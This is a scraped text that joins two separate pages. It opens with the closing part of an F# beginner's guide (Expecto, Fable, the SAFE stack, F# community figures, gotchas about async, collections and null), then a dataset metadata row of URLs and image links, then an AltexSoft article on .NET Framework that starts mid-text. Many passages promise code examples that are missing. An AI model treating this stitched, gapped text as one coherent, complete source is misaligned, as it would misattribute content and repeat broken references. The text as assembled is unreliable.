In F# the preferred library for writing tests is Expecto. It allows you to do tons of interesting tests including performance tests between implementations with proper statistical tests. You can add FSCheck for property based testing, Property Based Testing is a technique to automate test case generation in an intelligent way. Instead of single example testing which is what you do in unit testing, in property based testing you describe statements that you expect to be true (e.g. changing the order of this mathematical operation should not change the result; or serializing and deserializing a value of this type should lead to an identical value) and let the test suite create random values to test your assertions with which I recommend doing - e.g. to test if custom deserializer/serializer pairs lead to identical values.
Expecto is usually run by creating a standalone console app from a template dotnet new -i Expecto.Template::* and dotnet new expecto -n PROJECT_NAME -o FOLDER_NAME* . With dotnet watch run it can rerun tests on every file change.
Fable and the SAFE stack
Fable is a standalone distribution of the F# compiler that uses the same front-end as the official F# compiler but has an alternative backend that generates Javascript. There are a few relatively exotic F# constructs that are not or only partly supported (e.g. Reflection is only partly supported). There are some differences because of runtime has different semantics and implementations (e.g. float truncation behaviour can differ, the Regex engines have slightly different capabilities, …).
Fable 3 came out in late 2020 and came with a few big changes. Before version 3 Fable used Babel to output Javascript by interacting with Babel and building a Babel AST. This was useful in 2015 when Javascript was evolving rapidly and creating JS code compatible with different execution targets was an appealing feature that came for free with Babel. The distribution of version 1 and 2 was done as an npm project and most setups used webpack to invoke Fable as a processor for .fs files.
With Fable 3 both of this changed and Javascript is now generated directly. Fable 3 is also distributed as a dotnet tool (i.e. executed via dotnet fable ) and a plugin system was added that allows library authors to automate creation of boilerplate code (e.g. when creating components for UI libraries).
All of the above for both Version 1, 2 and 3 mean that you can mostly write normal F# code that is then turned into relatively normal Javascript. It works pretty well and at my company we wrote several full web frontends with this approach (using React for rendering and the F# Elmish library for state management). You do have to have some understanding of Javascript though when you want to use third party Javascript libraries. Here you basically tell F# about types of functions and the objects and it will trust you to have translated these concepts correctly. Some of the .NET standard library has been re-implemented in Javascript so that some reasonable subset of normal library calls work but unfortunately there is no compile time signal about which parts are translated and which are missing (i.e. when you use a seldom used member function on e.g. the Regex type that has not been re-implemented for the Javascript code it will crash at runtime with no warning at compile time).
I feel Fable is a very pragmatic solution that enables the very interesting possibility of writing web UIs in F#, even if it is no silver bullet. When working in a small team it’s worth a lot if all parts of the code base (backend, frontend, build scripts) are written in one language. Even if different people have different specializations, everyone can fix small issues in all parts of the code base and so using F# in the entire stack is pretty compelling IMHO.
If you are interested in Fable for writing frontend application then the Elmish Book is a great resource that explains all the moving pieces to create complex web apps using Fable.
A list of Fable libraries is maintained at the Awesome Fable repository.
The SAFE Stack
Worth a special mention is the SAFE stack. This is a preconfigured template that sets up F# on the backend (using ASP.NET core via either the straight forward Giraffe library or the more opinionated Saturn library), and on the frontend (using Fable 2 as of late 2020). The SAFE template can either be used in a barebones configuration or in a more opinionated, fully fledged version that comes with frontend and backend testing libraries, Bulma preselected as a style framework, a choice of type safe automated communication between frontend and backend and so forth.
If you want to explore the SAFE stack then head over to the quickstart to learn about the requirements and how to set up a project using the template.
How do I do common stuff? How do I find out how to do things?
If you need to find things in the standard library then the microsoft dotnet framework help is pretty good. It can filter by framework version etc..
The F-Sharp language overview is very good to get an idea of all the features in the language. As far as I know there is no offline version of the docs although Visual Studio did have some windows compiled help files at some point so something like this might still exist. Fsharp for fun and profit is a great learning resource to learn about F# concepts.
Since you probably know some other programming language already the Rosetta Code project can be a good starting point to quickly learn how to do common things in F#.
The Awesome F# list is a great overview of good F# libraries for various tasks.
Every December there is also the tradition of the F# Advent Calendar where various members of the community write a blog post about something F# related that interests them. It’s a good way to discover interesting uses of F#.
Community
The F# Foundation website is a good starting point to learn more about the various parts of the language etc. The F# Foundation manages various web properties and among others the fsharp github organisation.
Don Syme @dsyme is the primary creator of the language and has worked on it since the precursors of F# in the late 90ies at Microsoft (F# grew out of the desire to have an ML language for the .NET Platform that was not yet released at the time - you can find out more about the history here). At Microsoft there are a few more people working on F# and Visual F# (the Visual Studio integration), the most visible of whom is probably Philip Carter @_cartermp.
Over the last 8 years or so the .NET Framework became cross platform with .NET Core and F# could be used outside of Visual Studio and also targeting Javascript. In this development, Krzysztof Cieślak @k_cieslak was very important as the author of the VS Code extension Ionide, as was Steffen Forkmann @sforkmann who created Paket, a Nuget package manager that uses lockfiles and avoids problems the official Nuget manager has.
Alfonso Garcia-Caro @alfonsogcnunez is the creator of Fable, the Javascript backend for F#. Isaac Abraham @isaac_abraham is the author of “Get Programming with F#” which I heard good things about and one of the initiators of the SAFE stack (the preconfigured template for F# on .NET Core on the server and F# using Fable on the Frontend for a full stack F# experience).
Scott Wlaschin @ScottWlaschin is the author of the wonderful F# learning resource FSharpForFunAndProfit and the very nice general Domain Driven Design book “Domain Modeling Made Functional”.
Sergey Tihon @sergey_tihon runs F# Weekly, a great resource to keep up to date with developments in the F# world.
Zaid Ajaj @zaid_ajaj is the author of numerous projects in the Falbe universe and the Elmish Book, a great, free resource that explains Fable, the Elmish state management library and so forth including tips on creating larger applications and workflows.
There are of course many more people who work on the F# ecosystem or talk and write about it and I could never list them all - but the above list is a small overview of some key people in the ecosystem that you might want to follow on twitter.
The F# community is overall very welcoming and friendly. As often with small niche communities that are close to another, more mainstream ecosystem, there is some occasional frustration, e.g. about F# not receiving more support from Microsoft. The reddit channel F# is apparently frequented by a few strange people, so you may prefer to stick to the F# slack or Forums.
F# is a topic at many FP friendly conferences but there are also two F# specific conferences: Open FSharp and Fable Conf.
Common gotchas
This is necessarily an incomplete list but here are a few things that can baffle beginners or where it may help to have been warned about differences in philosophy of different corners of the ecosystem. I concentrate here on things that are helpful to know when you start to read tutorials or open source F# code.
Generic type parameters and list, option etc
Generics (aka parametric polymorphism) make it possible to write types that are parametrized by one or more other types which is e.g. useful for properly typed collection classes. In C# the syntax is always using angle brackets and uppercase type variables, e.g. List. In F#, generic type variables when declaring new generic types have to use a single quote prefix like so (lower case is more common but both exist): `'a`, so a type definition with a generic type is defined as `List<'T>`. Because of F#s OCaml heritage, there is an alternative syntax for declaring concrete instances of generic types which is a postfix notation like so: `'T list`. The angle bracket syntax is by convention preferred for all but 4 generic types which are `list`, `array`, `ref` and `option`. This is a bit random trivia but it is helpful to know this when reading F# so I wanted to mention it.
Collections
The .NET Framework version 1 didn’t have generics (parametric polymorphism), so the old collection classes in System.Collections all have the items as untyped objects e.g. System.Collections.ArrayList which is a dynamically growing vector type that contains objects - object is the implicit base type of every type in .NET . Version 2 added generics and so we now have new versions of the collection classes in System.Collections.Generic e.g. System.Collections.Generic.List<T> in there which is a dynamically growing vector with items of type T that is specified at the instantiation point .
To increase the confusion, F# brings it’s own philosophy on collection classes coming from the OCaml tradition and this is in some parts a bit at odds with the .NET standard library naming. The F# collections live in the FSharp.Collections namespace that is open by default and contains the following 5 main collection types: List<T> (immutable single linked lists) created with the literal syntax [ 1; 2; 3]; Array<T> which are mutable fixed size .NET arrays that are contiguous in memory and created with the literal syntax [| 1; 2; 3|]; Seq<T> which are lazy iterators (the IEnumerable interface in C#) created with the literal syntax seq { yield 1; yield 2; yield 3}; Set<T> which is an immutable set implemented as a sorted tree that has no native literal syntax; and Map<K, V> which are immutable key/value maps/dictionaries implemented as ordered trees that have no native literal syntax.
Functions that operate on these collections are in modules of the same name:
Which is all fine so far, but what can be a bit confusing when getting started is that if you look for C# code of some library you will never see these collection classes and instead see the main collections from the standard library which are mutable: System.Collections.Generic.List<T> which is a mutable, dynamically resized vector; and System.Collections.Generic.Dictionary<K, V> which is a mutable Hashmap. So in F# code unless there is an open statement for System.Collections.Generic the type List will mean the F# immutable linked list, but in C# code or if the System.Collections.Generic namespace is opened, List refers to the mutable dynamically resized vector.
Async
Async operations are designed to allow efficient use of non-blocking IO, by freeing the thread they are called on to sleep until the operating system is done with the IO and will then resume your thread at the point where it left off. Many methods in both the standard library and third party libraries exist in both an async version and a sync (blocking) version where the latter is a little easier to use for cases where you don’t mind the blocking (but it’s usually good style to use the async version). As an example, the CsvFile class from the commonly used FSharp.Data library has a static method AsyncLoad(...) that returns an Async<CsvFile>, i.e. the fact that this operation is async is also visible in the return type: in this case an async computation that, when all the non-blocking io is completed, will return a CsvFile instance.
Async is relatively similar to promises or futures in other languages, but where these are usually started immediately, in F# an async value is not immediately “run” on your behalf. This can seem a bit annoying because you have to manually start it at some point in your code Usually at the top of your console program you somewhere have an Async.RunSynchronously(myAsyncComputation) call or in the case of a webserver handler function the framework you use handles this for you and you just supply a function that returns an async value . But the upside is that it composes much better and you can assemble deeply nested async workflows and then decide if you want to execute and block until done, execute and be notified, execute multiple async values in parallel etc.
One important gotcha with async in F# is that you should be very careful to only call something like Async.RunSynchronously() at the very top of your program and instead make the functions leading up to this point all async returning so that they can fulfill their duty as planned - if you use it further down in your callstack you will block the thread at this point and thus forgo the benefit of not blocking an operating system thread just for performing IO. What you should do instead is change the return type of your function to also return an async value (potentially up the call stack to the top) so that users of your function can decide how they want to handle this. Usually you want to use the computation expression for async to make this a bit nicer as discussed in the next paragraph
let! and other constructs with !
This can be confusing when starting to read F# code - there are several constructs that exist both in normal form (e.g. let x = fooFn() to create named values) and also in a form with an exclamation point aka bang at the end (e.g. let! x = fooFn()). The exclamation point version is one that can only exist within a computation expression and then it delegates the handling of the sequencing to the computation expression.
Computation expressions are a nice feature in F# that allows library authors to provide syntactic sugar for working with their types. It’s similar to Haskell’s do notation, but covers the complexities arising from combining this kind of syntactic sugar with loops etc.
Computation expressions and let! and similar constructs are often used for Async code like so:
This is a function that returns an Async of unit (no return value). The body is using the async computation expression. The first let binding to the variable prefix is a normal binding, i.e. the string value on the right hand side is bound to the name on the left hand side. The second let bang binding is a bit different. Here the right hand side is a the ReadAllTextAsync function that returns a Task<string> which is then passed to Async.AwaitTask to convert to Async<string> (see below for Async vs Task).
What the let! is doing now is that it looks up the implementation for the async { } computation expression and lets it “deal with” the async value. Once this is done the content of the async, in this case a string value is bound to fileContent What is actually happening is that the F# compiler breaks the function into continuation chunks at these points. The Bind function which is one of the two mandatory function of a computation expression implementation then gives the implementation for how to deal with a wrapped value and a continuation function that receives an unwrapped value and returns a wrapped value again . The result of ReadAllTextAsync is a Task so it is piped here to Async.AwaitTask which turns it into an Async value. If you were to use a normal let (without the !) then the fileContent would contain the Async<string> value and we wouldn’t be able to make use of the result of this async computation yet. do! is simalar, the difference being that here no value is bound, just a statement executed for its side effect.
Async vs Task
Async came to F# in version 2.0 around 2010 and a bit later in C# 5 (released in 2012), C# and the standard library came out with a very similar but somewhat different approach to async. Unfortunately the two approaches did not use the same types to represent this in an easily compatible way, even if they represent semantically very similar concepts. I assume that this might have to do with different desired default behaviour. As described above, Async’s are not evaluated until run whereas Tasks in most uses are immediately started (just like Promises and Futures in most languages). Because C# is the dominant language in .NET, most third party libraries you use will return a Task<T> value when performing asynchronous computations. One actual benefit that C#’s Task implementation has is that is has a lower overhead. For IO bound operations this doesn’t matter much but when a task is CPU bound and a lot of very short lived Tasks are created then they will generally outperform their Async counter part. When using C# libraries in F# you can easily convert between Task and Async (using Async.AwaitTask as shown above and Async.StartAsTask) and default to Async, but when writing an F# library that should be easily consumable from C# it’s better to use the Task type.
Semicolons vs newlines in lists and records
Something that can be confusing for newcomers is that many literals can either be created on the same line with semicolons as separators or using newlines with the correct indentation. The following examples show this:
Anonymous records
F# 4.6 introduced anonymous records with a slightly different syntax from normal records. They are useful for cases where a full records seems overkill but a tuple misses some information, for example for color triples or similar. Because of some constraints with regards to the .NET runtime, anonymous records can have some surprising behaviour, e.g. two values with the same shape become the same anonymous record type when declared in the same assembly, but different ones across assembly borders. This means that using anonymous records is fine for returning semi-complex data in a slightly ad-hoc way from functions but they should be promoted to proper records when used in a more public API.
Modules vs member functions
A slightly confusing issue is that for several common topics like String there exist both member functions that are called on concrete instances but also an F# module for this type. The member function approach is the one that is used in C#, the module approach is additionally available in F#. This means that if you want to replace a value in a string you can either do "Teststring".Length or you can use String.length "Teststring". The functionality is different between the two, e.g. replace only exists as a member function, map only in the module. Just another little oddity that is good to be aware of.
Operator precedence
If you know other ML family languages then you might be tempted to define some operators for 2-ary functions, e.g. >== for monadic bind, <*> for lifting binary functions ets. This works in theory but is somewhat discouraged and the operator characters and their associated precedence is hardcoded in the language. This means that e.g. overriding addition or multiplication for custom vector types or adding bind is not a problem, but complex operator hierarchies like e.g. in Haskell’s various lens libraries are not really feasible.
Type inference order and the obsession with the |> pipe operator
The F# compiler works in a single pass which has some consequences that can trip up newcomers. The obvious one is that in an F# project, the order of files matters and inside files the order of declarations is relevant as you can only ever use types, values and functions that have been already declared “further up”. The only exception to this is if you declare a rec module or use mutually recursive type definitions. This may seem really annoying at first but turns out to work very well in practice when navigating larger programs.
The other, less obvious result of the single pass is that even within expressions the F# compile can sometimes fail type inference for earlier tokens that would become clear when taking later parts into account when e.g. using member functions. Consider this example:
In this form the compiler rejects it. If you rearrange it a bit so that the type parameter for List becomes fixed by putting the string array first and piping it into the rest then it works:
Arguably this reads nicer but it sometimes feels a bit silly to have to do this. Note that this is only necessary because we wanted to access a member in the lambda function - if we had used a normal function then it would have worked:
The Open keyword, Namespaces and Modules
The way imports work in .NET with the open keyword can be confusing, so let me summarize the ways to organize code in F# first. The .NET Framework has the concept of Namespaces to organize code. Namespaces in C# can only contain types, not values or functions. In C# the main way of organizing code is namespaces and classes (which can be static if they only include static functions).
F# uses a lot of top level values and functions and so F# introduced modules since Namespaces can’t contain them directly. These do not exist as first level entities in .NET bytecode and instead are compiled into static classes. In F#, a single file can contain multiple namespaces which in turn can contain multiple Modules which then can contain values, functions and types. Namespaces can span multiple files, modules etc can’t. The full name of every value, function or type in F# is prefixed by their namespace and module name.
All of this seems straightforward enough but the confusion comes when you use namespaces, modules, values and types with the open keyword. This allows you to omit the namespace/module/class part of a type/function/value, i.e. instead of System.IO.File you can first open System.IO and then just use File to mean the same type.
Open’s override each other in turn so if another namespace/module is opened later that also defines a File then it will resolve to the one that was opened further down in the file.
There is no proper import aliasing as there is in Haskell or Python. You can alias values, functions, types and modules, but not namespaces. These aliases actually bind new values/functions/types/modules which is problematic if you are used to how this works in other languages because it is not limited to the file where this aliasing occurs (i.e. if you declare an alias like this type File = System.IO.File in the f# source file A.fs and then in file B.fs that comes later in the source ordering open the namespace or module of A then File will be in scope!)
My recommended way of dealing with this is to use aliases but define them as private so that they are only visible within the same type/module, like so: type private MyFile = System.IO.File. Then use open only when you know that you will use a lot of the contents of that namespace module and are aware of the potential shadowing.
Null
The story of null in the .NET Framework is a bit weird, so let me again give some context first. In the .NET Framework there exist for performance reasons value types that are directly allocated on the stack (e.g. primitives like int, float etc and user defined structs) as well as heap allocated reference types (strings and user defined classes). Most value types can be converted into reference types in a process called boxing (and the reverse unboxing) to matching reference types. This is mostly useful to be able to treat all values as derived from System.Object and have dynamic dispatch work for value types as well.
As most languages designed in the 90ies, C# and the .NET framework both have null as a valid value for all reference types (though not for value types). Code that is written in F# tries to avoid null and so record types and discriminated unions defined in F# do not consider null a valid value. In cases where the absence of a value should be possible in F# the option type should be used which is a discriminated union that communicates this clearly and forces the consumer of such a type to always declare how to handle the absent value.
Since a lot of the .NET ecosystem is written in C# though, you have to be defensive with reference type values that come from third party libraries and guard their use with isNull checks etc.
Ironically, the designers of C# decided in C# 8 that the inability to discern between nullable and non-nullable reference types was a mistake and introduced a new annotation on types to indicate if null is a valid value for this reference type or not and added a special syntax to support this when declaring variables etc. The effort to retrofit these annotations to the standard library and third party libraries is still ongoing as of late 2020. F# does not yet support taking these annotations into account but the next version of F# will probably be able to do so, so that you get a warning when not handling nulls in reference values coming from third party libraries that are annotated as nullable but no such warnings coming up if the value is annotated as non-nullable.
Exceptions vs Result
The .NET Framework uses Exceptions as it’s primary means to communicate errors. Exceptions have quite a few advantages (e.g. call stacks which are useful in diagnostics, ability to add arbitrary structured information in subclasses, …) but also a few downsides (they do not show up in the type of a function; documenting possibly thrown exceptions is inconsistent in the ecosystem and not mandatory; they are relatively expensive to create and handle).
F# offers another, complementory way of reporting errors back to the caller with the Result type. This is a simple discriminated union with two cases, the success and the error case. The nature of discriminated unions requires the user of a function returning a result to specify ways of handling both the success and the error case. The FsToolkit.ErrorHandling library is one of several that adds a few convenience solutions like computation expressions to make it nicer to write code that deals with a lot results, options, results wrapped in async computations and so on.
Just like with null values you have to deal with exceptions anyhow and some people argue that therefore exceptions should be used for all error cases. Others argue that Result should be preferred, maybe even trying to wrap all third party exceptions and using Result pretty much the only way of handling error cases. It seems that most real world solutions fall somewhere in between, dealing with third party exceptions while preferring Result for their own application code.
Scripts
F# code can either be created as F# projects organized by one or more .fsproj files that are compiled into one library/executable each or an F# script file (usually given the file extension .fsx instead of .fs) can be compiled and executed in one go in scripting mode. For scripting mode there were some large changes with .NET core 5 that came out in late 2020 that radically improved how third party libraries can be referenced and since then it is a lot nicer to use. There are still occasional issues with editor support in script files though.
F# also has a repl that in dotnet core since 3.0 is started with dotnet fsi. It can also be used interactively from most browsers so that you can select a bunch of source code and send it to the repl to evaluate and the repl session will retain state until reset.
Into the future
F# has improved quite a lot these last few years. Four years ago I wrote about early attempts to use F# for both the backend and the frontend of a web application, before the SAFE stack was created. It could be done back then but the developer experience was far from great. Nowadays F# works really well for these kinds of things with all the bells and whistles you’d hope for (time travelling debugger for the state in the web application, hot module reloading, step through debugger for the server code, …).
What is maybe somewhat lacking is a better repository for solutions to common problems. For JSON serialisation there are at least 5 solutions in F# that all have their pros and cons, but if you want to learn about their relative strengths and weaknesses you have to google it and hope that someone wrote a blog post. There is an F# wikibook that attempted something like this but is quite outdated.
Another thing I hope for is that the F# developer tooling ecosystem becomes more sustainable. Visual Studio and Rider are developed by commercial entities, but FsAutocomplete and Ionide rely on donations via open collective that don’t really cover major work on it.
All in all I think F# is a very valuable tool to learn and use. It is ready to use in production for a wide range of problems, and I think it is great fun to use. If you haven’t yet then do give it a try and let me know if you run into any issues that you think are worth including here1
|
|||||||
8582
|
dbpedia
|
1
| 11
|
https://www.altexsoft.com/blog/the-good-and-the-bad-of-net-framework-programming/
|
en
|
What is .NET Framework? .Net Programming Explained
|
[
"https://www.altexsoft.com/static/blog-post-featured/2023/10/f68554ec-b0c4-450e-b73e-96c6f00b133d.jpg",
"https://www.altexsoft.com/static/blog-post/2024/1/ec673b1a-4578-4edc-bc78-679feda0b7d3.jpg",
"https://www.altexsoft.com/_next/static/images/YoutubePlayButton-d3972df504617e41e724a8690caef270.svg",
"https://www.altexsoft.com/static/content-image/2024/6/687653ff-685c-4fab-9076-d34d555fe332.jpg",
"https://www.altexsoft.com/static/content-image/2024/6/9c7cee28-7e6b-47da-87d7-b98e601b7694.jpg",
"https://www.altexsoft.com/static/content-image/2024/6/e4ee7150-052a-4b74-830a-6a3b1de8c997.jpg",
"https://www.altexsoft.com/static/content-image/2024/6/08cba3aa-977f-45a1-99f5-bc6d7532a066.jpg",
"https://www.altexsoft.com/static/blog-post/2024/1/603bd12c-76eb-4e14-ac43-3457acc12346.jpg",
"https://www.altexsoft.com/_next/static/images/YoutubePlayButton-d3972df504617e41e724a8690caef270.svg",
"https://www.altexsoft.com/static/content-image/2024/6/f9ca2caa-921b-46c0-b69d-ec94c9d91928.jpg",
"https://www.altexsoft.com/static/content-image/2024/6/ff8ec74e-17b9-46d1-8f76-554ad2d34954.jpg",
"https://www.altexsoft.com/static/content-image/2024/6/27e000a9-ed3a-4915-b9af-2b83942db6bc.jpg"
] |
[] |
[] |
[
""
] | null |
[
"Editor"
] |
2021-12-24T00:00:00+00:00
|
What is .NET Framework and when to use it? The differences between .NET Framework, .NET Core, and .NET Standard.
|
en
|
AltexSoft
|
https://www.altexsoft.com/blog/the-good-and-the-bad-of-net-framework-programming/
|
Besides all that, it’s the very first release that has native support for Apple Silicon (macOS Arm64) and improved support for Windows Arm64.
We will partly cover what’s new in .NET 6 in the paragraphs below. Find more information on the Microsoft blog post.
What is the .NET development platform
.NET comes in four flavors: .NET Framework, .NET Core, Xamarin, and Universal Windows Platform (UWP).
These implementations combined are called the .NET development platform. Each contains frameworks and libraries for building various applications.
.NET Framework
The .NET Framework released back in 2002 is the first and oldest implementation of the platform. It includes three main application models – WPF, Windows Forms, ASP.NET Forms – and Base Class Library.
Windows Presentation Foundation (WPF) is a UI framework for creating graphical interfaces, primarily for desktop client applications on Windows OS. It uses the capabilities of Extensible Application Markup Language (XAML).
Windows Forms is a GUI class library within the .NET Framework. Windows Forms are used to develop desktop applications with rich graphics that are easy to update and deploy.
ASP.NET. While the previous two components are designed for desktop engineering ASP.NET is used to develop dynamic websites and web applications. There is the Common Language Runtime (CLR) in its core that gives developers the opportunity to write ASP.NET code using different .NET languages that we discuss below.
Base Class Library (BCL) provides the most common functionality, such as classes in namespaces, and is the core of the Framework Class Library (FCL), a set of reusable interfaces, classes, and value types that are closely integrated with the Common Language Runtime (CLR). The combination of FCL and CLR constitutes the .NET Framework. The base class library also includes ADO.NET, data access technology used by developers to access databases.
As the .NET Framework supports only Windows-based devices, there was a need for a cross-platform package.
Learn how AltexSoft implemented a blog section using the .NET Framework
.NET Core
.NET Core was released in 2016. It’s a cross-platform version of the .NET Framework: Engineers can now use the product on Linux and macOS and create applications that aren’t necessarily tied to the Windows family. The new system aims at conquering the cloud space as some providers like Digital Ocean are Linux-driven. Not only is .NET Core cross-platform, but its different versions can also be installed side by side on the same device. .NET Core includes ASP.NET Core and Universal Windows Platform (UWP).
ASP.NET Core is a cross-platform rebuild of ASP.NET that is a more modular framework than its predecessor. It allows you to build the mobile backend, web apps, and services.
In .NET 6, ASP.NET Core has many new features, including Hot Reload, which enables the application of changes to C#, Visual Basic, and CSS source files without having to restart or rebuild the app (the app is running while you are updating the code).
Xamarin
The third implementation is called Xamarin and is used for mobile applications and Mac products. Originally, Xamarin was designed independently of Microsoft and was a proprietary product. Then Microsoft acquired it in 2016 making it a fully open-source branch of the .NET platform. Xamarin uses the Mono runtime and a version of the .NET Framework adjusted to work with APIs for iOS, Android, and Xamarin.Mac.
To get an elaborate overview of this product, check our Xamarin pros and cons article.
Prior to the .NET Standard, a programmer had to redevelop an application or a library for the new platform and then distribute all the updates across various platforms. Currently, the library supports all dependent libraries across applications. However, you should check version compatibility to leverage the .NET Standard successfully
.NET popularity and community
For those of you who are wondering just how popular .NET is, a large community of developers is the answer. Interestingly, it unites engineers from small, midsize, and enterprise-grade companies. This means that almost any issue can be resolved with the help of community members.
Since .NET Core is open source, its libraries, runtime, and compiler are available on GitHub and have many contributions. According to the Stack Overflow 2021 survey, ASP.NET took fifth place among the most popular web frameworks. At the same time, the .NET Framework with .NET 5 and .NET Core placed first and second, respectively, as the most used frameworks beyond web development.
Besides that, the .NET Foundation fosters open development and teamwork around the .NET ecosystem. .NET community and commercial developers use it as the main forum for idea exchange.
Automatic monitoring in ASP.NET
ASP.NET has built-in automatic monitoring. The Windows Web Server strictly monitors web pages and applications that run on it. If any issues, such as memory leaks or infinite loops, occur, it immediately alerts about them. This allows for directly correcting these behaviors and creating new processes. The monitoring ensures higher stability and transparency of .NET applications.
Powerful Roslyn and RyuJIT compilers
.NET uses two compilers, Roslyn, to compile C# or VB code into CIL (common intermediate language), and RyuJIT, to run just-in-time compilation of CIL into native code. Both compilers are highly regarded by the .NET community as Microsoft actively improves them.
Roslyn has been available since 2011. In 2014, it became open source and in 2015 was included in Visual Studio. In addition to being open source, Roslyn exposes APIs to offer rich code analysis for the developer. This means that, unlike traditional black-box compilation, with Roslyn, developers can read the compilation data at every stage.
RyuJIT is responsible for compiling CIL to byte code. The full transition from the old JIT was completed in 2018 with the idea of improved performance. And, generally, engineers agree that RyuJIT is faster.
According to .NET 5 Preview 1 and Preview 2 released in the spring of 2020, numerous improvements to RyuJIT were made to enhance the quality of the machine code generated by JIT (“code quality,” as Microsoft specialists call it). “In summary, about half of the following improvements are actual new optimizations, and the other half is due to changing the flow of RyuJIT to enable existing optimizations to apply to more code patterns,” noted .NET Team Program Manager Richard Lander.
Active Microsoft support
Since .NET is Microsoft’s platform technology you would expect the company to actively support and develop it. But the point is, Microsoft is really good at what they are doing. Perhaps there’s no other technology company with such a full and coherent ecosystem that checks off all boxes for engineers, from IDEs and frameworks to cloud services.
Microsoft does its best to evolve. The transition to .NET Core was a major step in terms of ecosystem development, as it embraced the cloud and focused on performance improvements.
In 2018, Microsoft introduced the ML.NET framework for C# and F# languages. Also, let’s keep in mind the releases of .NET 5 and .NET 6 are already here with .NET 7 being projected for 2022.
Relatively easy migration from .NET 5 to .NET 6
If you keep your applications constantly updated with the newest .NET versions, migrating from .NET 5.0 to .NET 6.0 won’t be a big headache. You first change the target framework from .NET 5.0 to .NET 6.0 on the Properties of your projects in Visual Studio 2022. Then you upgrade the rest of the packages within the project and run QA processes to see how everything performs.
Unlike the above, the migration from .NET Framework to .NET Core or between some .NET Core versions is not a walk in the park. In case your projects are based on earlier versions like .NET Core 3.1, migrating the app to .NET 5 before making the move towards the latest release is recommended.
Disadvantages of .NET development
Even though .NET is considered one of the strongest engineering platforms out there due to extensive infrastructure and proven product development history, it comes with a set of problems.
Limited Object-Relational Support
As we mentioned above, .NET uses the object-oriented programming (OOP) language model. This model is centered around objects rather than “actions” and data rather than logic. The support of data-oriented software application development in the .NET Framework and Core is provided by the Entity Framework.
An entity is an object-relational mapper (ORM) that links object-oriented .NET Framework and relational (SQL) databases. Some engineers believe Entity Framework isn’t flexible enough and may not support all available database designs. This also means that there’s a chance that, at some point, Entity Framework may not be supporting new database designs. Another problem is that the framework may eventually be abandoned by Microsoft.
On the bright side, you can always choose another ORM alternative, so it remains a debatable point.
Licensing cost
Building .NET apps isn’t cheap, regardless of open source technologies. Mostly, your expenses will be spent on Visual Studio IDE and other additional collaboration and quality assurance services that Microsoft offers to simplify your work.
As of today, the business version of Visual Studio will cost you $45/month for every user. An enterprise release that includes various cloud, enterprise mobility, QA features, and more will be $250 per month per user. However, you still can try to become a Microsoft Partner to have a number of subscriptions for free. For non-profit and educational purposes, there is also the free Visual Studio Community.
Even though you can use .NET Core on Mac and Linux machines, the best way is to use Windows for .NET engineering, which also comes with licensing costs.
The barrier will be even higher if you’ve never used Microsoft products before and you have to migrate from, say, the AWS cloud ecosystem to Azure.
The gap between release and stability
Perhaps, this problem cripples all Microsoft products, not the .NET stack only. But it’s definitely worth mentioning. The newly released products lack proper documentation, support, and stability and are prone to drastic changes. In one of the AltexSoft projects, our architects decided to use a fresh DocumentDB (now Azure Cosmos DB) but then were forced to design custom data architecture as the product suffered a number of technical issues that could jeopardize the entire project.
One of Y Combinator users has vividly described this issue: “My problem with these kinds of Microsoft technology evangelism articles/videos is that it always seems like Microsoft has juuuust gotten their new hotness to work, and is telling the world that it’s awesome, and ready for production. Then you go to implement it, and as soon as you leave the perfect world of their demo, it all falls apart, and THEN you find out the docs were written for the beta version and no longer apply, so you’re left guessing at the right invocation signature for the method you need.”
At the same time, Microsoft keeps working on this issue, and the company’s latest long-term support (LTS) .NET 6 release is claimed to have 3 years of official support and proper documentation on use and migration.
Memory leaks
Memory leaks are not uncommon in any technology. Simply put, the framework doesn’t release the memory that it no longer needs. .NET is frequently criticized for memory leaks and memory-related issues. Although .NET has a garbage collector for this sort of problem, engineers still have to invest additional efforts into proper resource management. And the leaks keep on growing as the application scales.
Fortunately, engineers can find detailed and effective recommendations for detecting leaks in .NET.
Bumpy transition to .NET Core
.NET Core is the next big step in Microsoft’s platform development. As always happens, the transition period may be long and difficult. The applications built with the old .NET Framework outnumber those with .NET Core. And it doesn’t necessarily mean that all of them will experience this transition. In corporate environments, the transition may not be prioritized as much. Nonetheless, these systems need support.
Another related problem here is that the mature .NET Framework had many supporting projects around it. For example, many developers expressed concerns about abandoning Windows Communication Foundation (WCF), a runtime and API set for service-oriented applications used by many .NET practitioners.
Microsoft decided not to port WCF to Core. Instead, they leveraged community effort, as one of the .NET Foundation team members donated an open-source alternative, Core WCF. Again, this isn’t directly managed by Microsoft, nor does it provide full compatibility with the original WCF. Developers will have to spend a little extra effort to complete a transition.
Scott Hunter, from .NET program management, posted that you won’t find ASP.NET Web Forms, .NET Remoting, and some other services in .NET Core. They’ll be gone for good, freeing the way for new technologies.
When to use the .NET
Scalable products. Usually, business needs are growing and your software has to scale with it. .NET provides a scalable environment and allows for redesigning ongoing applications in order to match the growing needs of the business.
Cross-platform needs. In case you need an app that works across platforms, .NET will be a great choice as most platforms are covered and you can reduce development effort while expanding your desktop or mobile app to other operating systems. Also, .NET can be used for such specific engineering cases as gaming (including Xbox) and AR development (including HoloLens).
Enterprise-scale infrastructures. It’s still a debatable point whether .NET is designed mostly for enterprise use. But Microsoft makes sure it provides the widest toolset possible to build and cross-integrate enterprise products, both internal and public ones. It also supports a robust enterprise mobility ecosystem.
This article is a part of our “The Good and the Bad” series. If you are interested in web development, take a look at our blog post on the
The Good and the Bad of Pandas Data Analysis Library
The Good and the Bad of Terraform Infrastructure-as-Code Tool
The Good and the Bad of the Elasticsearch Search and Analytics Engine
The Good and the Bad of Kubernetes Container Orchestration
The Good and the Bad of Docker Containers
The Good and the Bad of Apache Airflow
The Good and the Bad of Apache Kafka Streaming Platform
The Good and the Bad of Hadoop Big Data Framework
The Good and the Bad of Snowflake
The Good and the Bad of C# Programming
The Good and the Bad of .Net Framework Programming
The Good and the Bad of Java Programming
The Good and the Bad of Swift Programming Language
The Good and the Bad of Angular Development
The Good and the Bad of TypeScript
The Good and the Bad of React Development
The Good and the Bad of React Native App Development
The Good and the Bad of Vue.js Framework Programming
The Good and the Bad of Node.js Web App Development
The Good and the Bad of Flutter App Development
The Good and the Bad of Xamarin Mobile Development
The Good and the Bad of Ionic Mobile Development
The Good and the Bad of Android App Development
The Good and the Bad of Katalon Studio Automation Testing Tool
The Good and the Bad of Selenium Test Automation Software
The Good and the Bad of Ranorex GUI Test Automation Tool
The Good and the Bad of the SAP Business Intelligence Platform
The Good and the Bad of Firebase Backend Services
The Good and the Bad of Serverless Architecture
